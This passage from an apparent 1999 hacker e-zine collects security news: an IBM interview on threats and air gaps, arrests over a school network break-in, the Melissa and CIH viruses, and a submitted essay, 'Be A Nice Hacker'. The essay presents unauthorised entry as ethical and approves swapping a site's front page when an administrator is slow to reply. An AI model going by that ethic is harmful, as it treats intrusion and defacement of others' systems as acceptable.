  4760.                       threat from the outside is rising at a steady
  4761.                       rate, though. 
  4762.  
  4763.                  12. Is there a trend in these attacks? 
  4764.  
  4765.                       Denial-of-service attacks and macro-viruses
  4766.                       are the most popular hacker activities. The
  4767.                       denial-of-service attacks are fairly easy for
  4768.                       hackers of all skill levels -- from "script-kids"
  4769.                       to professionals -- to launch. This is a
  4770.                       situation where a company's Web site or
  4771.                       online service is simply made unavailable by
  4772.                       a hacker overtaxing the system resources.
  4773.                       It doesn't sound that harmful, but there can
  4774.                       be serious monetary and image losses
  4775.                       attached to this. If you want to buy a book
  4776.                       and you go to a popular book-selling Web
  4777.                       site and find that site unavailable, chances
  4778.                       are you'll try the next most popular book
  4779.                       Web site. There's simply too much
  4780.                       competition on the Internet right now to
  4781.                       overlook security needs. These
  4782.                       denial-of-service attacks are particularly
  4783.                       troubling because they are hard to defend
  4784.                       against. There are defenses available with
  4785.                       firewall products from IBM and other
  4786.                       companies, but there can be
  4787.                       denial-of-service attacks from inside as
  4788.                       well, which lends credence to the argument
  4789.                       for Intranet firewalls. 
  4790.  
  4791.                  13. Where does the real threat of hacking lie:
  4792.                  in the private sector, in government or
  4793.                  somewhere else? 
  4794.  
  4795.                       The widely reported attacks against
  4796.                       government sites are troubling, but it's a
  4797.                       good bet that the government would not
  4798.                       have any sensitive information on a machine
  4799.                       connected to the Internet. An unfortunate
  4800.                       side effect of these reports is that people
  4801.                       end up thinking that securing systems and
  4802.                       networks is hard. It's not hard, but it does
  4803.                       take time and training, and it's an ongoing
  4804.                       process to stay one step ahead of the bad
  4805.                       guys. 
  4806.  
  4807.                       Corporate espionage is also a threat, but
  4808.                       not in the glamorous way portrayed in the
  4809.                       movies. There, the threat is from the inside.
  4810.                       There have been many reports of
  4811.                       employees purposely sending proprietary
  4812.                       information outside the company to other
  4813.                       companies, perhaps just before they
  4814.                       themselves move to that company. The
  4815.                       greater connectivity that employees have
  4816.                       today also leads them to inadvertent leaks
  4817.                       via e-mail. 
  4818.  
  4819.                  14. To what extent is cyberterrorism a
  4820.                  genuine concern? 
  4821.  
  4822.                       There is little motivation for industrial
  4823.                       control systems like those running nuclear
  4824.                       plants or airports to be on the open Web.
  4825.                       They may have dial-up access or private
  4826.                       networks within the organization that would
  4827.                       be susceptible to attack from the inside.
  4828.                       IBM has found that it can be quicker and
  4829.                       cheaper to attack a target physically,
  4830.                       rather than digitally -- we've nonchalantly
  4831.                       walked into businesses, snooped around,
  4832.                       and walked out with confidential material
  4833.                       (once with the security guard holding the
  4834.                       door for us!). And there are many examples
  4835.                       of unfortunate accidents that resulted in
  4836.                       very effective "attacks." The most common
  4837.                       example is the "backhoe attack," where an
  4838.                       errant heavy-equipment operator
  4839.                       accidentally cut a communications cable. 
  4840.  
  4841.                       ... I don't think we are "at war," because in
  4842.                       this problem the enemy includes ourselves.
  4843.                       We view it more as a race -- we're all trying
  4844.                       to stay a few steps ahead of the threats ...
  4845.                       through improved education and
  4846.                       technology. ... The good news is that
  4847.                       people are thinking about these issues, and
  4848.                       some groups appear to be taking action. 
  4849.  
  4850.                  15. What about responses such as the recent
  4851.                  Pentagon counteroffensive that redirected
  4852.                  hackers' attack to an applet that caused their
  4853.                  browsers to crash? Is that an appropriate
  4854.                  response to hackers? 
  4855.  
  4856.                       Anytime you acknowledge the hacker, you
  4857.                       run the risk of heightening his or her
  4858.                       interest. If you change the game from
  4859.                       solitaire to a real poker game with human
  4860.                       opponents, it becomes more interesting to
  4861.                       most hackers. Such retaliation is also
  4862.                       short-lived, since countermeasures will
  4863.                       quickly be developed and publicized around
  4864.                       the Web. In my opinion, this is not an
  4865.                       effective usage of limited security
  4866.                       personnel. 
  4867.  
  4868.                  16. Are anti-hacking measures improving? 
  4869.  
  4870.                       The most important improvement is in the
  4871.                       area of awareness. ... Advances in firewall
  4872.                       technology (making them easier to install
  4873.                       and configure), improvements in
  4874.                       vulnerability scanning and better
  4875.                       explanations of how to repair them, and
  4876.                       better intrusion-detection with fewer
  4877.                       false-positives are all key technologies in
  4878.                       this race. 
  4879.  
  4880.                  17. If attacks can only take place on
  4881.                  computers that are online, to what extent
  4882.                  could hacking be mitigated by keeping
  4883.                  sensitive materials, data, etc., offline? 
  4884.  
  4885.                       One of my colleagues at IBM likes to say,
  4886.                       "only trust physics." My version is that the
  4887.                       only 100 percent, truly secure system is
  4888.                       one that is powered-off and filled with
  4889.                       concrete. The military has long understood
  4890.                       the security of an "air gap" (where a secure
  4891.                       machine has no connection whatsoever to
  4892.                       an unsecured machine), and we recommend
  4893.                       to our customers that they consider such
  4894.                       an arrangement for their most secure
  4895.                       systems. This comes down to risk-analysis
  4896.                       -- that is, weighing the cost in convenience
  4897.                       and availability against the threat of having
  4898.                       a system online. 
  4899.  
  4900.                       If it's important to ... your business to have
  4901.                       data available online inside the company,
  4902.                       then protecting it with an internal firewall
  4903.                       makes sense. ... If you have a Web server
  4904.                       you want your customers to access, you
  4905.                       can't hide it behind your corporate firewall
  4906.                       because they won't be able to get to it.
  4907.                       There are network designs that will enable
  4908.                       you to position the Web server on the
  4909.                       "outside," while securely maintaining a
  4910.                       connection between it and, perhaps, a
  4911.                       server behind the firewall. 
  4912.  
  4913.                  18. What is the long-term outlook for
  4914.                  hacking? 
  4915.  
  4916.                       As long as there are unsecured computers
  4917.                       with interesting stuff on them, there will be
  4918.                       hackers. Law enforcement agencies have
  4919.                       stepped up their facilities and training
  4920.                       programs to meet the demand for computer
  4921.                       and network security. 
  4922.  
  4923.                       Moving toward technologies that use strong
  4924.                       encryption will greatly improve the overall
  4925.                       security of systems. Virtual Private
  4926.                       Networks are a fantastic tool for companies
  4927.                       and governments to protect their systems
  4928.                       and networks while taking advantage of the
  4929.                       low-cost, high-availability offered by the
  4930.                       Internet. Internet standards bodies are also
  4931.                       moving toward designing security into new
  4932.                       standards. 
  4933.  
  4934.                       Most kids today know much more about
  4935.                       computers than their parents do, and some
  4936.                       start "messing around" at earlier ages than
  4937.                       in the past. The best thing we can do is to
  4938.                       show them how interesting it can be to
  4939.                       work at protecting systems and networks. 
  4940.  
  4941.                  19. What about the outlook for computer
  4942.                  security? 
  4943.  
  4944.                       While better security technologies are
  4945.                       appearing all the time, education and
  4946.                       awareness will continue to be the limiting
  4947.                       factor. System administrators must learn
  4948.                       about and maintain their systems securely.
  4949.                       Users have to understand their security
  4950.                       responsibilities (like choosing good
  4951.                       passwords, not installing unauthorized
  4952.                       modems, etc.). ... Innovations like
  4953.                       biometrics and smart cards will go a long
  4954.                       way toward making security easier for the
  4955.                       end user as well as for the system    
  4956.                       administrators. 
  4957.                       
  4958.               
  4959.       @HWA
  4960.       
  4961.  20.0 Five Busted in Florida 
  4962.       ~~~~~~~~~~~~~~~~~~~~~~
  4963.       
  4964.       From HNN http://www.hackernews.com
  4965.       
  4966.       contributed by squid stupid 
  4967.       It has been hard to nail down specific information but a
  4968.       few local news outlets in Florida are reporting that four
  4969.       students of Flagler Palm Coast High School may face a
  4970.       slew of criminal charges for unlawful computer access.
  4971.       The suspects have been accused of deleting grade files
  4972.       and compromising exams on their school computer system. 
  4973.  
  4974.       Yahoo News     
  4975.       http://dailynews.yahoo.com/headlines/local/state/florida/story.html?s=v/rs/19990526/fl/index_6.html#11
  4976.       
  4977.       Student Hackers Arrested - (BUNNELL) -- Five Flagler Palm Coast High School 
  4978.       students... including the son of a Bunnell city commissioner... are facing a
  4979.       litany of criminal charges after allegedly using a computer virus to hack into
  4980.       the school's network and commandeer files. No grades were changed but grade files
  4981.       were deleted and exams compromised. The virus was discovered last month during a 
  4982.       software upgrade. The school's computer experts also found that each of the five 
  4983.       students had downloaded a ``hacker tool'' from the Internet into their personal 
  4984.       computer accounts. They're been suspended for the rest of the year... but the 
  4985.       students will be allowed to take their final exams next month. Prosecutors have 
  4986.       not decided if they will file criminal charges. 
  4987.       
  4988.       
  4989.       From ISN mailing list
  4990.       
  4991.       Date: Thu, 27 May 1999 02:58:09 -0600 (MDT) 
  4992.       From: cult hero <jericho@dimensional.com> 
  4993.       To: InfoSec News <isn@repsec.com> 
  4994.       Subject: [ISN] Five arrested for hacking into high school system 
  4995.       
  4996.       
  4997.       Forwarded From: bluesky@rcia.com
  4998.       
  4999.       
  5000.       May 26, 1999 
  5001.       
  5002.       
  5003.       Five arrested for hacking into high school system
  5004.       By MATT GOWEN
  5005.       
  5006.       
  5007.       BUNNELL - Five Flagler Palm Coast High School students - one the son of a
  5008.       Bunnell city commissioner - are facing a litany of criminal charges after
  5009.       authorities said they used a computer virus to hack into the school's
  5010.       network and commandeer teacher and student files.
  5011.       
  5012.       
  5013.       Flagler County sheriff's deputies arrested the students Monday. All five
  5014.       were taken to the Division of Youth Services in Daytona Beach before being
  5015.       released to their parents. 
  5016.       
  5017.       
  5018.       Facing the brunt of the allegations are Steven Alverson, 17, and Daniel
  5019.       Bixby, 16, both of Palm Coast. Alverson was charged with 16 separate
  5020.       felony counts, eight for crimes involving computers and eight for crimes
  5021.       against computer users. Bixby was charged with 12 similar counts. Alverson
  5022.       and Bixby were suspended until the end of the school year, June 4.
  5023.       
  5024.       
  5025.       Arrested on two felony charges each were Yen Chen, 16, and Henry
  5026.       Cervantes, 17, both of Palm Coast, and Daniel Dupont, 17, of Bunnell, son
  5027.       of City Commissioner Catherine Robinson. School officials gave Chen,
  5028.       Cervantes and Dupont in-school suspension until the end of the year.
  5029.       
  5030.       
  5031.       The five will be allowed to return to take final exams June 7 and 8. 
  5032.       
  5033.       
  5034.       As for the criminal case, the State Attorney's Office will now decide
  5035.       whether formal charges should be filed.
  5036.       
  5037.       
  5038.       The arrests capped a lengthy investigation into the presence of the virus
  5039.       - a disabling computer program that gave the students access to teacher
  5040.       grade books and to exams on the system, according to reports.
  5041.       
  5042.       
  5043.       The virus was initially discovered April 8 by technology support
  5044.       personnel who were upgrading the school's protective software. In a
  5045.       subsequent investigation, reports said, the school's computer experts
  5046.       found that each of the five students had downloaded a "hacker tool" from
  5047.       the Internet into their personal computer accounts. 
  5048.       
  5049.       
  5050.       FPCHS Assistant Principal Allan Haller said no grades were changed but
  5051.       that grade files were deleted and exams were compromised.
  5052.       
  5053.       
  5054.       "It was more mischievous than anything else," Haller said. 
  5055.       
  5056.       
  5057.       Still, he said, the high school's computer network connects to the
  5058.       districtwide system, meaning the students could have eventually broken
  5059.       into financial and payroll records or general personnel files.
  5060.       
  5061.       
  5062.       "It could have been very disruptive," Haller said. "They could have shut
  5063.       down the whole system."
  5064.       
  5065.       
  5066.       The arrested students either preferred not to comment or could not be
  5067.       reached for comment.
  5068.       
  5069.       
  5070.       Robin Alverson, Steven Alverson's mother, said her son insisted he was
  5071.       innocent of any criminal wrongdoing and offered to take a lie detector
  5072.       test or voice-stress analysis to prove it.
  5073.       
  5074.       
  5075.       "Steven is very computer literate," Robin Alverson said. "He is not
  5076.       stupid. He knows that anything he does on there can be traced. That's the
  5077.       thing that gets me."
  5078.       
  5079.       
  5080.       One of their classmates, who asked not to be identified, said he thought
  5081.       the group had simply downloaded games off the Internet and that one had a
  5082.       virus attached to it.
  5083.       
  5084.       
  5085.       But sheriff's reports describe a highly technical process - set in motion
  5086.       Jan. 4 - involving hidden and renamed viruses that blocked administrators'
  5087.       access to their files, making the path more difficult to trace.
  5088.       
  5089.       
  5090.       "These students were very good," Flagler County School Superintendent
  5091.       Robert Williams said, alleging that they viewed breaking into the system
  5092.       as a challenge or game.  "They were running our people ragged trying to
  5093.       keep up with them."
  5094.       
  5095.       
  5096.       Williams added that it was the first time the district has dealt with
  5097.       unauthorized internal computer access, and that the disciplinary code will
  5098.       be revamped accordingly over the summer.
  5099.       
  5100.       
  5101.       The high school has four classroom computer labs, and Haller estimated
  5102.       the school has more than 100 computers that connect to the Internet.
  5103.       
  5104.       
  5105.       In the fall, each student is given his or her own password-protected
  5106.       computer account to do research or work on word processing programs.
  5107.       Students and parents must sign an agreement on proper use. 
  5108.       
  5109.       
  5110.       "Some of them choose to use their talents inappropriately," Haller said,
  5111.       adding that peer pressure may have played a role. "Whether it's a macho
  5112.       thing, whether it was a battle over school territory or whether they were
  5113.       out to prove a point - 'We're smarter than you' - it's hard to say." 
  5114.       
  5115.       
  5116.       And as recent news reports demonstrate, even large agencies such as NASA
  5117.       are not insulated from the potential for break-ins. 
  5118.       
  5119.       
  5120.       "We're a high school," Haller said. "We don't begin to have the kinds of
  5121.       resources that the federal government has for protection."
  5122.       
  5123.       
  5124.       
  5125.       -o-
  5126.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  5127.       
  5128.       @HWA
  5129.       
  5130.  21.0 Danes Finger Swede for Cracking 12,000 Systems 
  5131.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5132.  
  5133.       From HNN http://www.hackernews.com
  5134.  
  5135.       contributed by Phoz 
  5136.       The Danish Police Computer Crime Unit have exposed a 17-year old from Sweden 
  5137.       claiming that he broke into at least 12,000 computers worldwide, including 
  5138.       military, bank, and university owned systems. The reports indicate that he 
  5139.       used an automated version of a BIND vulnerability to gain access and has been
  5140.       compromising systems since early 1997. 
  5141.  
  5142.       phoz.dk- Translated News Reports.     
  5143.       http://phoz.dk/news/260599.html
  5144.  
  5145.       @HWA
  5146.      
  5147.      
  5148.  22.0 EFA Plans Net Censorship Demonstrations 
  5149.  
  5150.       From HNN http://www.hackernews.com/
  5151.       
  5152.       contributed by photon 
  5153.       The Electronic Frontiers Australia have announced several protest events to 
  5154.       take place on Friday May 28. Local groups around Australia have been urged 
  5155.       to co-ordinate protests against government censorship. Australia's proposed
  5156.       internet censorship legislation passed the Senate on Wednesday, and is expected 
  5157.       to pass through the House of Representatives some time next week. 
  5158.  
  5159.       Electronic Frontiers Australia
  5160.       http://www.efa.org.au
  5161.       
  5162.       Broadcasting Services Amendment (Online Services) Bill 1999 
  5163.       http://www.ozemail.com/~mbaker/amended.html
  5164.       
  5165.       List of Australian Representatives
  5166.       http://www.aph.gov.au/
  5167.       
  5168.       Sydney Morning Herald
  5169.       http://www.smh.com.au/news/9905/27/pageone/pageone7.html
  5170.       
  5171.       Thursday, May 27, 1999 
  5172.       
  5173.       Internet providers plotting revenge over bill 
  5174.       
  5175.       By LAUREN MARTIN, in Canberra 
  5176.       
  5177.       Angry Internet service providers turned on the Government after its bill to
  5178.       censor the Internet passed the Senate yesterday.
  5179.       
  5180.       Requests from Government computer users were diverted to a protest page
  5181.       which made the users wait 120 seconds before reaching their desired
  5182.       destination.
  5183.       
  5184.       "Get used to the delay," came the message. It was a warning that the plan
  5185.       would slow the system.
  5186.       
  5187.       Civil libertarians also protested by turning their computer Web site screens
  5188.       black to mark their belief that the Government had - in the words of
  5189.       Democrats Senator Natasha Stott Despoja - "turned its back on the Internet".
  5190.       
  5191.       Anti-censorship group Electronic Frontiers Australia is organising nationwide
  5192.       rallies for tomorrow in the real world - Sydney, Melbourne, Perth, Brisbane,
  5193.       Adelaide and Wollongong.
  5194.       
  5195.       One family-owned Internet provider in western Sydney, RP Internet Services,
  5196.       yesterday was offering a month's untimed calls or 500 megabytes of data for
  5197.       clients who showed up. 
  5198.       
  5199.       The company hopes to hire a hearse for the Sydney protest, which will move
  5200.       from Hyde Park to the offices of the Australian Broadcasting Authority and the
  5201.       Office of Film and Literature Classification.
  5202.       
  5203.       Already one West Australian-based ISP had sent each senator a copy of
  5204.       George Orwell's 1984, with a note: "The Online Services Bill is Orwellian in its
  5205.       implications. It has no place in a free society."
  5206.       
  5207.       But the bill is expected to move smoothly through the House of
  5208.       Representatives and become law.
  5209.       
  5210.       It outlines a complaints-based regime under which the ABA can force Internet
  5211.       providers to remove material which would be considered offensive or illegal
  5212.       under film and video guidelines.
  5213.       
  5214.       If the material is not removed within one working day, ISPs face penalties of
  5215.       tens of thousands of dollars.
  5216.       
  5217.       The chief executive of the Internet Industry Association, Mr Peter Coroneous,
  5218.       said the bill represented a "huge challenge".
  5219.       
  5220.       "This has never been attempted anywhere in the world before, and people must
  5221.       realise that we cannot necessarily come out with a magic bullet tomorrow."
  5222.       
  5223.       The Communications Minister, Senator Alston, said the bill would "protect
  5224.       Australian citizens, especially children" from unsuitable Internet sites.
  5225.       
  5226.       But EFA president and Internet lawyer, Mr Kim Heitman, said it would not
  5227.       protect anyone.
  5228.       
  5229.       International sites (more than 90 million) could not be effectively blocked, he
  5230.       said. Adult sites based in Australia would move offshore or underground.
  5231.       
  5232.       "The internet is going to effortlessly evade the bill," Mr Heitman said. "It does
  5233.       nothing but make us an international laughing stock for saying we can do the
  5234.       impossible - it's a con job ...
  5235.       
  5236.       "If the Government was serious about Internet content, they would pay to
  5237.       educate parents and give police the resources to hunt down people who create
  5238.       illegal content."
  5239.       
  5240.      
  5241.                           
  5242.       @HWA
  5243.       
  5244.  23.0 Design Principals for Tamper-Resistant Smart Card Processors 
  5245.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5246.  
  5247.       From HNN http://www.hackernews.com/  
  5248.         
  5249.       contributed by Silicosis 
  5250.       The Advance Digital Security Research Department of
  5251.       the University of Cambridge Computer Laboritory has
  5252.       released an excellent paper on the security weaknesses
  5253.       of smart cards and describes several methods of
  5254.       extracting protected data and software from smart card
  5255.       processors. Anyone who has been doing any smart card
  5256.       hacking should probably read this. 
  5257.  
  5258.       Design Principals for Tamper-Resistant Smart Card Processors
  5259.       http://www.cl.cam.ac.uk/~mgk25/sc99-tamper.pdf
  5260.       
  5261.       @HWA
  5262.       
  5263.  24.0 Melissa finds a mate
  5264.       ~~~~~~~~~~~~~~~~~~~~
  5265.       
  5266.       From HNN http://www.hackernews.com/  
  5267.       
  5268.       Melissa will not Die 
  5269.  
  5270.  
  5271.       contributed by nVirb 
  5272.       Variants of the word Macro virus known as Melissa
  5273.       continue to appear. This time the mutant disguises itself
  5274.       in a '.rtf' named document as opposed to '.doc' which
  5275.       helps to hide it from anti-virus software. It has been
  5276.       speculated that Melissa and a virus known as CAP
  5277.       discovered in 1997 may have met in the wild and
  5278.       mutated together. 
  5279.  
  5280.       PC World      
  5281.       http://www.pcworld.com/pcwtoday/article/0,1510,11162,00.html
  5282.  
  5283.  
  5284.       Melissa Mutant Appears 
  5285.  
  5286.       Virus variation is disguised as an RTF file and
  5287.       hides from vaccines.
  5288.  
  5289.       by Matthew Nelson, InfoWorld Electric 
  5290.       May 27, 1999, 3:55 a.m. PT 
  5291.  
  5292.       The Melissa virus, which swept across networks
  5293.       around the world last month, has popped up again in a
  5294.       mutated format, which may have occurred when it
  5295.       came into contact with another virus. 
  5296.  
  5297.       Melissa's latest variation uses a macro virus to
  5298.       replicate itself across networks as the original did, but
  5299.       now it changes the file extension of the Word
  5300.       document from .doc to .rtf. This may effectively
  5301.       camouflage the virus from antivirus systems that look
  5302.       only for the .doc version of the attack. 
  5303.  
  5304.       The virus is not actually an RTF document, but is a
  5305.       Word file masquerading as an RTF file, as RTF files
  5306.       cannot contain macros.
  5307.  
  5308.       "An RTF file cannot contain macros, so it cannot
  5309.       contain macro viruses," says Sal Viveros, group
  5310.       marketing manager for Total Virus Defense at Network
  5311.       Associates, which was contacted about the virus by a
  5312.       user. "But with Word you can name your extensions
  5313.       any name you want, so all this virus writer did was
  5314.       change the list.doc in Melissa to list.rtf." 
  5315.  
  5316.       Mutating in the Wild?
  5317.  
  5318.       The RTF Melissa virus is similar to the CAP virus,
  5319.       which was discovered in 1997 and altered .doc files to
  5320.       .rtf files. CAP was summarily added to antivirus
  5321.       application lists to guard against.
  5322.  
  5323.       But given the similarity of the two viruses, and the
  5324.       possible results of an interaction between the two,
  5325.       Viveros speculates that the two viruses might have met
  5326.       and mutated in the wild. 
  5327.  
  5328.       If a system infected with CAP virus also contracted
  5329.       Melissa, then CAP could have altered the Melissa files
  5330.       to replicate as RTF files and then continued to spread
  5331.       the infection. 
  5332.  
  5333.       "It could have been that someone had the CAP virus on
  5334.       their system who got infected by Melissa," says
  5335.       Viveros. "Maybe it was accidental that this was
  5336.       changed to RTF." 
  5337.  
  5338.       There is no way to be sure, Viveros adds. This new
  5339.       version of the Melissa virus is one of many copycat
  5340.       viruses discovered since the initial outbreak of the virus.
  5341.  
  5342.       To protect against the latest version of Melissa,
  5343.       Network Associates and other antivirus vendors
  5344.       recommend that you update your antivirus data
  5345.       definitions regularly and be cautious opening
  5346.       suspicious messages, especially ones fitting the
  5347.       Melissa profile of "Important message from ..". 
  5348.  
  5349.       @HWA
  5350.       
  5351.  25.0 punkz.com sets up a feedback page for the presidential 'cyberwar'
  5352.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5353.       
  5354.       From HNN http://www.hackernews.com/  
  5355.       
  5356.       The Internet a Tool of War? 
  5357.  
  5358.       contributed by simonsays 
  5359.       Should the United States use the Internet as a tool of
  5360.       war? A page has now been set up where you can email
  5361.       the President with your concerns in response the
  5362.       allegation that the CIA will break into various banks to
  5363.       mess with official Yugoslavian bank accounts. 
  5364.  
  5365.       punkz.com/sixtoed      
  5366.       
  5367.       @HWA
  5368.       
  5369.  26.0 Its that time of month again, when the 26th rolls around, look out...
  5370.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5371.  
  5372.       I thought we already had a fix for the CIH virus but apparently the
  5373.       Aussies want in on the action as well so heres yet another one...-Ed 
  5374.  
  5375.       
  5376.       Chernobyl Virus Cure Found in Australia 
  5377.  
  5378.  
  5379.       contributed by nvirB 
  5380.       With the 26th of the month arriving quickly developers
  5381.       have been scrambling to create a fix for variants of the
  5382.       CIH or Chernobyl Virus which may strike tomorrow. CIH
  5383.       attacks a system by corrupting both the the File
  5384.       Allocation Table and the BIOS. Developers in Australia
  5385.       claim that they have created a program that will rebuild
  5386.       the FAT table of an infected system. However, they
  5387.       have been unable to solve the BIOS corruption problem. 
  5388.  
  5389.       News.com.au     
  5390.       http://technology.news.com.au/techno/4286612.htm
  5391.       
  5392.       Local developer nukes Chernobyl bug
  5393.       By IAN GRAYSON
  5394.     
  5395.       25may99
  5396.     
  5397.       A QUEENSLAND software expert has developed a fix for the malevolent
  5398.       CIH virus, which corrupts hard drives, making PCs inoperable. 
  5399.     
  5400.       The virus, dubbed Chernobyl because it struck on the anniversary of
  5401.       the nuclear accident, hit hundreds of thousands of PCs worldwide on
  5402.       April 26. 
  5403.     
  5404.       CIH virus outbreaks have been most prevalent in the Asian region. 
  5405.     
  5406.       Some experts say this is because of the large amount of pirated
  5407.       software in use there, and the fact that many CDs were infected at the
  5408.       time of manufacture. 
  5409.     
  5410.       A variant of the virus has been found that will trigger tomorrow, and
  5411.       could continue to strike on the 26th of each month until it is removed
  5412.       from a system. 
  5413.     
  5414.       Virus expert with Queensland firm Hamilton Multi-media, James Wallis,
  5415.       said he had created a fix that overcame the impact of the virus,
  5416.       allowing users to access data on their hard drives. 
  5417.     
  5418.       "We sat down and figured out exactly how the virus corrupts the disks
  5419.       and set out to develop a way to fix it," he said. 
  5420.     
  5421.       Mr Wallis said it took six 14-hour days to create the fix. 
  5422.     
  5423.       The company has made the fix available as a free download from its
  5424.       Web site. 
  5425.     
  5426.       He said the virus could be beaten because only data in the first portion
  5427.       of a hard drive, including the file allocation table, was corrupted. 
  5428.     
  5429.       The remainder was left intact but inaccessible until the lost section was
  5430.       rebuilt. 
  5431.     
  5432.       "Our program starts at the end of the disk and works backwards," he
  5433.       said. 
  5434.     
  5435.       "Using sophisticated algorithms, it recreates the data at the beginning
  5436.       of the drive." 
  5437.     
  5438.       Mr Wallis said the fix had been used successfully to resurrect more than
  5439.       a dozen infected hard drives brought in by customers. 
  5440.     
  5441.       More than 180 copies of the fix had been downloaded from the Web
  5442.       site in the week after it was made available. 
  5443.     
  5444.       But Mr Wallis said little could be done for PCs in which the virus had
  5445.       also attacked the BIOS chip. "In many cases it is a matter of having to
  5446.       replace the chip because there is nothing that can be done in software
  5447.       to fix it." 
  5448.  
  5449.               
  5450.  27.0 Submission: "Be A Nice Hacker" by System
  5451.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5452.       
  5453.       be a nice hacker... 
  5454.       by system ( 21st may 1999).
  5455.  
  5456.  
  5457.       --------------------------------------------------------------------------------
  5458.       
  5459.       [ Introduction.  ]
  5460.       
  5461.       I made this articles because there are so much cracker than a real hackers in 
  5462.       Indonesia and all over the world. 
  5463.       
  5464.       
  5465.       
  5466.       --------------------------------------------------------------------------------
  5467.       
  5468.       [ General description. ]
  5469.       
  5470.       A hacker is a people that can enter into some computer system without anybody 
  5471.       know about it. Generally a hacker do not intend to publish this interruption to
  5472.       the internet communities, they don't like publication, they only want tray their
  5473.       security, isn't it good or bad. If they found their security is bad or weak, they
  5474.       will tell the administrator, tell them that there is a hole in their system, and 
  5475.       suggest the administrator to fix it before something bad happening to their system. 
  5476.       
  5477.       But with these days, this things were being forget by them who call their self a 
  5478.       hacker. There are so many hacking / cracking scene that only for publication purpose 
  5479.       at this time. They don't obey the ethics that in behind of underground world. 
  5480.       
  5481.       
  5482.       
  5483.       --------------------------------------------------------------------------------
  5484.       
  5485.       [ A details description. ]
  5486.       
  5487.       Being a hacker, they must remember one thing " DO NOT INTEND TO BREAK THE SYSTEM ". 
  5488.       We must keep this thing in our self, if you are the real hacker of course. A hacker,
  5489.       that I'm already tell you in the front of this articles, only get inside the system,
  5490.       looking around, if they find any hole in the system, they will tell the administrator
  5491.       the hole. The hacker never break or change the data's that inside that system. Even if
  5492.       they have a capabilities to break and change that data's, but look, they only look, 
  5493.       read, study it, if it is good for their self they keep it on their mind, if not they 
  5494.       leave it with out a trace. 
  5495.       
  5496.       I know this is probably sound pretty boring for you guy's that just get into this scene,
  5497.       and sometime the question that exist in your mind is " So what's the benefit for me ? ".
  5498.       Well, the benefit is the knowledge that you get, a hacker never do something for their 
  5499.       own purpose. They only study and study for getting a lot of knowledge. 
  5500.       
  5501.       So what the deals with this knowledge ? 
  5502.       
  5503.       To answer this question, you must look something that surrounding you. Let we see the 
  5504.       easy one, the monitor, the keyboard, the cpu, the mouse that you using right now, where
  5505.       it come from ? From the science's isn't it ? Where science's come from ? From the 
  5506.       knowledge isn't it ? 
  5507.       
  5508.       Knowledge is the most important thing in this world, and I believe all knowledge will 
  5509.       be use, maybe not at this time, but it will in the next couple years or more. 
  5510.       
  5511.       Try to thing objectively, in old time Leonard Da Vinci has paint how the helicopter works
  5512.       in his note pad, as all of you know at his time people even don't have any prescription 
  5513.       about a flying copter. But in a few years later, that could be happened like know. You 
  5514.       see, that the real value of a knowledge's. 
  5515.       
  5516.       To bad, these value of knowledge's has been forgotten just like that, many of our pal's 
  5517.       from Indonesia more like to break the system and change the data's that exist on it. One
  5518.       thing that really occurred in Indonesia is they only want getting the free internet account
  5519.       than the knowledge's. If this still happen in the next couple years, what is the main 
  5520.       purpose of internet ? 
  5521.       
  5522.       I tell you these for not make a certain people happy, but this negative phenomenon should
  5523.       be get away from Indonesia, because Indonesia people can not think smart if they keep using
  5524.       the internet in a wrong way. 
  5525.       
  5526.       Some people tell me that this is an equal position, because the telephone and internet fee
  5527.       in Indonesia is very expensive if we compare it with the other country. Yes this is true,
  5528.       but this is a wrong thinking. Don't look from one side, but look at two side or more. If 
  5529.       you are in the ISP and Telephone side, you will see what happening to them. They will broke
  5530.       if you still do this. 
  5531.       
  5532.       Okay, back to the main subject. Why Indonesian hacker like to break the system ? 
  5533.       
  5534.       I don't sure for 100%, but I think this is happen because they lack of information, especially 
  5535.       the ethics in underground world. It is our job to tell them so they this is will not happen 
  5536.       again in the future. 
  5537.       
  5538.       I'm not a hacker, but I will they you some ethics that I know : 
  5539.       
  5540.       - Do not break the system 
  5541.       
  5542.       - Do not change the data's that exist on the system 
  5543.       
  5544.       - Tell the administrator the hole that you have been found 
  5545.       
  5546.       - Don't even try to delete all files in their system. ( If in Web server, please don't delete all 
  5547.         HTML / Scripts in their directory, if the administrator doesn't respond your email, change the 
  5548.         index.html with your own word, but keep the old one, rename the old one, for example   oldindex.html,
  5549.         as I know this only happen if the administrator not respond your email in 48   hours ). 
  5550.       
  5551.       - And for the administrator, your also need to obey the ethics. Keep the hacked version   index.html 
  5552.         for 24 hours. 
  5553.       
  5554.       Let me tell you, if you obey these ethics, people will regret you, even you could be a friend with the administrator for no time.
  5555.       
  5556.       
  5557.       --------------------------------------------------------------------------------
  5558.       
  5559.       [ Summary. ]
  5560.       
  5561.       - Being a hacker doesn't mean you will be famous in a short time. 
  5562.       
  5563.       - A hacker jobs is not an easy way. 
  5564.       
  5565.       - A hacker with out the ethics is just a looser mind. 
  5566.       
  5567.       - Remember, hacker only purpose is for knowledge. 
  5568.       
  5569.       ################################################################## 
  5570.       
  5571.       This article is a translate version of " Jadilah hacker yang benar " 
  5572.       that made by System, at Friday 21st May. You can use this article
  5573.       / change it as you like, as long as you give me some credit. 
  5574.       
  5575.       I really like all comments / suggestion from you, please email it to 
  5576.       system@hackerlink.or.id. Check out http://www.hackerlink.or.id for 
  5577.       Indonesian underground news center. 
  5578.       
  5579.       ################################################################## 
  5580.  
  5581.  
  5582.      @HWA
  5583.      
  5584.  28.0 Hacking Memes by Stephen Downes
  5585.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5586.       
  5587.       Contributed by Pasty Drone, NewsTrolls
  5588.       
  5589.       
  5590.       
  5591.          Hacking Memes 
  5592.  
  5593.  
  5594.  
  5595.          (Viewing this article is illegal in Australia)
  5596.  
  5597.          This essay is about subversion.
  5598.  
  5599.          1. The Essence of the Meme
  5600.  
  5601.          The concept of the meme has been working its way around the web for a while
